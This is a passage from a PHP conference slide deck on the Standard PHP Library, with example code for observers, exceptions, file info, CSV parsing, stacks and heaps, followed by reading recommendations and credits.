    Running Interface Example <?php require_once'Order.php'; require_once 'PlaceOrder.php'; $order = new Order(); $placeOrder = new PlaceOrder(); $order->attach($placeOrder); $order->notify(); $order->placeOrder(); $order->notify(); $order->placeOrder(); $order->notify(); $ php ./spl_observer.php We have 0 orders now We have 1 orders now We have 2 orders now
  • 64.
    SPL Exceptions •- SPLExceptions templates - throw exceptions - common issues • Types of exceptions - LogicExceptions - RuntimeExceptions
  • 65.
  • 66.
  • 67.
    Exceptions Example <?php //file: spl_exception01.php classMyClass { public function giveANumberFromOneToTen($number) { if($number < 1 || $number > 10) { throw new OutOfBoundsException('Number should be between 1 and 10'); } echo $number . PHP_EOL; } } $my = new MyClass(); try { $my->giveANumberFromOneToTen(5); $my->giveANumberFromOneToTen(20); } catch (OutOfBoundsException $e) { echo $e->getMessage() . PHP_EOL; } Output: $ /usr/bin/php ./spl_exception01.php 5 Number should be between 1 and 10
  • 68.
    SplFunctions • functions forPHP and SPL in particular • often dealing with auto loading • some for internal referencing
  • 69.
    SplFunctions Example <?php interface foo{} interface bar {} class baz implements foo, bar {} class example extends baz {} var_dump(class_implements(new baz)); var_dump(class_implements(new example));
  • 70.
    Output of SplFunctions array(2){ ["foo"]=> string(3) "foo" ["bar"]=> string(3) "bar" } array(2) { ["bar"]=> string(3) "bar" ["foo"]=> string(3) "foo" }
  • 71.
    SPLFileInfo The SplFileInfo classoffers a high-level object oriented interface to information for an individual file.
  • 72.
    SplFileInfo Example <?php // usethe current file to get information from $file = new SplFileInfo(dirname(__FILE__)); var_dump($file->isFile()); var_dump($file->getMTime()); var_dump($file->getSize()); var_dump($file->getFileInfo()); var_dump($file->getOwner()); //output bool(false) int(1244760945) int(408) object(SplFileInfo)#2 (0) { } int(501)
  • 73.
    Processing CSV withSPL Consider the following data.csv Derick Rethans;time Sebastian Bergmann;test Marcus Börger;iterate Ivo Jansch;enterprise Matthew Weier O'Phinney;extend Michelangelo van Dam;elephpant
  • 74.
    SPL usage onCSV <?php $info = new SplFileInfo('data.csv'); if ($info->isReadable()) { $file = $info->openFile(); $file->setFlags(SplFileObject::READ_CSV); $file->setCsvControl(';','"'); foreach ($file as $row) { list ($user, $term) = $row; if (null !== $user && null !== $term) { echo $user . ' is known for ' . $term . PHP_EOL; } } } //outputs Derick Rethans is known for time Sebastian Bergmann is known for test Marcus Börger is known for iterate Ivo Jansch is known for enterprise Matthew Weier O'Phinney is known for extend Michelangelo van Dam is known for elephpant
  • 75.
    Data Structures • Availablein PHP 5.3 •- SplDoublyLinkedList SplStack - SplQueue - SplHeap - SplMaxHeap - SplMinHeap - SplPriorityQueue
  • 76.
    Data Structures Example <?php //file: spl_stack01.php $stack = new SplStack(); $stack->push('Message 1'); $stack->push('Message 2'); $stack->push('Message 3'); echo $stack->pop() . PHP_EOL; echo $stack->pop() . PHP_EOL; echo $stack->pop() . PHP_EOL; Outputs: $ /usr/bin/php ./spl_stack01.php Message 3 Message 2 Message 1
  • 77.
    SplHeap •- SplHeap isan abstract class SplMinHeap implements SplHeap (low » high) - SplMaxHeap implements SplHeap (high » low) • stacking values w/o FIFO, FILO order
  • 78.
    Simple SplHeap example <?php $heap= new SplMinHeap; $heap->insert(5); $heap->insert(2); $heap->insert(8); $heap->insert(6); $heap->top(); while ($heap->valid()) { echo $heap->key() . ': ' . $heap->current() . PHP_EOL; $heap->next(); } //outputs 3: 2 2: 5 1: 6 0: 8
  • 79.
    JupilerLeague w/ SplHeap <?php classJupilerLeague extends SplHeap { public function compare($array1, $array2) { $values1 = array_values($array1); $values2 = array_values($array2); if ($values1[0] === $values2[0]) return 0; return $values1[0] < $values2[0] ? -1 : 1; } } $heap = new JupilerLeague(); $heap->insert(array ('AA Gent' => 15)); $heap->insert(array ('Anderlecht' => 20)); $heap->insert(array ('Cercle Brugge' => 11)); $heap->insert(array ('Charleroi' => 12)); $heap->insert(array ('Club Brugge' => 21)); $heap->insert(array ('G. Beerschot' => 15)); $heap->insert(array ('Kortrijk' => 10)); $heap->insert(array ('KV Mechelen' => 18)); $heap->insert(array ('Lokeren' => 10)); $heap->insert(array ('Moeskroen' => 7)); $heap->insert(array ('Racing Genk' => 11)); $heap->insert(array ('Roeselare' => 6)); $heap->insert(array ('Standard' => 20)); $heap->insert(array ('STVV' => 17)); $heap->insert(array ('Westerlo' => 10)); $heap->insert(array ('Zulte Waregem' => 15)); $heap->top(); while ($heap->valid()) { list ($team, $score) = each ($heap->current()); echo $team . ': ' . $score . PHP_EOL; $heap->next(); }
  • 80.
    JupilerLeague Scoreboard Club Brugge:21 Anderlecht: 20 Standard: 20 KV Mechelen: 18 STVV: 17 Zulte Waregem: 15 AA Gent: 15 G. Beerschot: 15 Charleroi: 12 Racing Genk: 11 Cercle Brugge: 11 Kortrijk: 10 Lokeren: 10 Westerlo: 10 Moeskroen: 7 Roeselare: 6
  • 81.
    Conclusion SPL can helpyou solve common PHP issues it’s built-in, so why not use it it requires no “advanced skills” to use
  • 82.
    SPL is notall good •- Matthew “Elazar” Turland pointed out: Performance could be better (SPLStack) - ArrayObject doesn’t support all array functions • See his presentation: http://ishouldbecoding.com/publications
  • 83.
    Recommended Reading Zend PHP5 Certification Study Guide php|architect Davey Shafik Ben Ramsey
  • 84.
    Recommended Reading Object-Oriented Programming withPHP5 Packt Publishing Hasin Hayder
  • 85.
    Recommended Reading The PHPAnthology Sitepoint Davey Shafik Matthew Weier O’Phinney Ligaya Turmelle Harry Fuecks Ben Balbo
  • 86.
    Recommended Reading Essential PHPSecurity O’Reilly Chris Shiflett
  • 87.
    Credits I want to believe - Official X-files movie poster http://www.xfiles.com Composition No. 10. 1939-42. Piet Mondrian (WikiPedia Faire Use License) http://en.wikipedia.org/wiki/File:Mondrian_Comp10.jpg Security - amelungc http://flickr.com/photos/amelungc/3383538729 Warhol Inspired Gems - Jayt74 http://flickr.com/photos/jayt74/3910181470
  • 88.
    Questions ? Slides on SlideShare http://www.slideshare.net/group/macqel Give feedback ! http://joind.in/1257